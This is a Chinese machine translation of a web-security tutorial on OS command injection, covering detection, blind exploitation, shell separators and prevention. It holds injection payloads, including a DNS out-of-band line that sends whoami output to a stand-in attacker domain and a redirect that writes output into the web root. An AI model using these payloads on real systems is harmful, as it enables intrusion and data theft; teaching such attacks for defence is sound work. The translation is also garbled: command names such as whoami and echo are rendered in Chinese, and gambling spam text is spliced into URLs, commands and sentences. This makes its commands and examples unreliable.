OS命令注射
在本节中,我们将说明OS命令注射是什么,描述如何检测和利用漏洞,为不同操作系统阐明一些有用的命令和技术,并总结如何防止OS命令注入。
什么是OS命令注射?
OS命令注入(也称为Shell注入)是一个Web安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)beplay体育能用吗命令,并且通常完全损害了应用程序及其所有数据。通常,攻击者可以利用OS命令注射脆弱性来妥协托管基础架构的其他部分,利用信任关系以将攻击转移到组织内的其他系统中。
执行任意命令
考虑一个购物应用程序,该应用程序使用户可以查看某个商品是否有特定商店中的库存。通过URL访问此信息,例如:
https://insecure-beplay体育能用吗website.com/stockstatus?productId=381&storeid=29
为了提供库存信息,该应用程序必须查询各种旧系统。出于历史原因,该功能是通过将产品和存储ID作为参数的shell命令来实现的:
StockReport.pl 381 29
此命令输出指定项目的库存状态,该项目已返回给用户。
由于该申请没有针对OS命令注射的防御措施,因此攻击者可以提交以下输入以执行任意命令:
&echo aiwefwlguh&
如果此输入在productid
参数,然后由应用程序执行的命令为:
StockReport.pl&Echo Aiwefwlguh&29
这回声
命令简单地导致提供的字符串在输出中回荡,并且是测试某些类型的OS命令注入的有用方法。这和
字符是一个shell命令分隔符,因此被执行的是实际上是三个单独的命令。结果,返回给用户的输出是:
错误 - 未提供aiwefwlguh 29:找不到命令
输出的三行证明了:
- 原本的
StockReport.pl
执行命令没有其预期参数,因此返回了错误消息。 - 注射
回声
执行命令,并在输出中回荡了所提供的字符串。 - 原始论点
29
被执行为命令,导致错误。
放置其他命令分隔符和
注射命令通常是有用的,因为它将注入的命令与下面的注入点分开。这降低了下面的可能性将阻止注入的命令执行。
有用的命令
当您确定了OS命令注射漏洞时,执行一些初始命令以获取有关您已妥协的系统的信息通常是有用的。以下是一些在Linux和Windows平台上有用的命令的摘要:
命令的目的 | Linux | 视窗 |
---|---|---|
当前用户的名称 | 我是谁 |
我是谁 |
操作系统 | UNAME -A |
ver |
网络配置 | ifconfig |
ipconfig /all |
网络连接 | netstat -an |
netstat -an |
运行过程 | PS -EF |
任务列表 |
盲目OS命令注射漏洞
OS命令注射的许多实例都是盲目的漏洞。这意味着该应用程序不会在其HTTP响应中返回命令的输出。仍然可以利用盲弱脆弱性,但需要不同的技术。
考虑一个让用户提交有关beplay体育能用吗该网站的反馈的网站。用户输入其电子邮件地址和反馈消息。然后,服务器端应用程序将电子邮件生成包含反馈的站点管理员。为此,它要求邮件
提供提交详细信息的程序。例如:
邮件-s“这个网站很棒” -afrom:peter@normal-user.net feedback@vulnerable-website.combeplay体育能用吗
来自邮件
命令(如果有)在应用程序的响应中未返回,则使用回声
有效载荷不会有效。在这种情况下,您可以使用各种其他技术来检测和利用脆弱性。
使用时间延迟检测盲目OS命令注射
您可以使用将触发时间延迟的注入命令,使您可以根据应用程序所需的响应时间确认命令是执行的。这ping
命令是执行此操作的有效方法,因为它使您可以指定要发送的ICMP数据包的数量,因此可以运行命令所花费的时间:
&ping -c 10 127.0.0.1&
此命令将使该应用程序ping ping loopback网络适配器10秒。
通过重定向输出来利用盲os命令注入
您可以将输出从注入的命令重定向到Web根中的文件中,然后可以使用浏览器检索。beplay体育能用吗例如,如果应用程序从文件系统位置提供静态资源/var/www/static
,然后您可以提交以下输入:
&whoami>/var/www/static/whoami.txt&
这>
角色从我是谁
命令到指定文件。然后,您可以使用浏览器获取https://vulnerable-beplay体育能用吗website.com/whoami.txt
要检索文件,并从注射命令中查看输出。
使用带外的盲目OS命令注射(Oast)技术
您可以使用注入的命令,该命令将触发与您控制的系统使用OAST技术的系统相互交互。例如:
&nslookup kgji2ohoyw.wbeplay体育能用吗eb-attacker.com&
此有效载荷使用nslookup
命令引起指定域的DNS查找。攻击者可以监视发生的指定查找,从而检测到该命令已成功注入。
带外通道还提供了一种简单的方法,可以从注入的命令中渗出输出:
&nslookup`whoami`.kgji2ohoyw.webeplay体育能用吗b-attacker.com&&
这将导致DNS查找到攻击者的域,其中包含我是谁
命令:
wwwuser.kgji2ohoyw.beplay体育能用吗web-attacker.com
注入OS命令的方法
可以使用各种外壳元视频器来执行OS命令注射攻击。
许多字符充当命令分离器,允许将命令链接在一起。以下命令分离器在Windows和UNIX的系统上都可以使用:
和
&&
|
||
以下命令分离器仅在基于UNIX的系统上工作:
;
- 新队 (
0x0a
或者\ n
)
在基于UNIX的系统上,您还可以使用Backticks或Dollar字符在原始命令中执行注射命令的内联执行:
`
注入命令`
$((
注入命令)
请注意,不同的外壳元视体具有微妙的不同行为,可能会影响它们在某些情况下是否有效,以及它们是否允许在带内检索命令输出或仅对盲目开发有用。
有时,您控制的输入出现在原始命令中的引号中。在这种情况下,您需要终止引用的上下文(使用“
或者'
)在使用合适的外壳元视频器注入新命令之前。
如何防止OS命令注射攻击
到目前为止,防止OS命令注射漏洞的最有效方法是切勿从应用程序层代码中调用OS命令。在几乎每种情况下,都有其他方法可以使用更安全的平台API实现所需的功能。
如果认为使用用户提供的输入来调用OS命令是不可避免的,则必须执行强烈的输入验证。有效验证的一些示例包括:
- 验证允许值的白名单。
- 验证输入是一个数字。
- 验证输入仅包含字母数字字符,没有其他语法或空格。
切勿试图通过逃避炮弹化的计量器来消毒输入。实际上,这太容易出错,容易被熟练的攻击者绕过。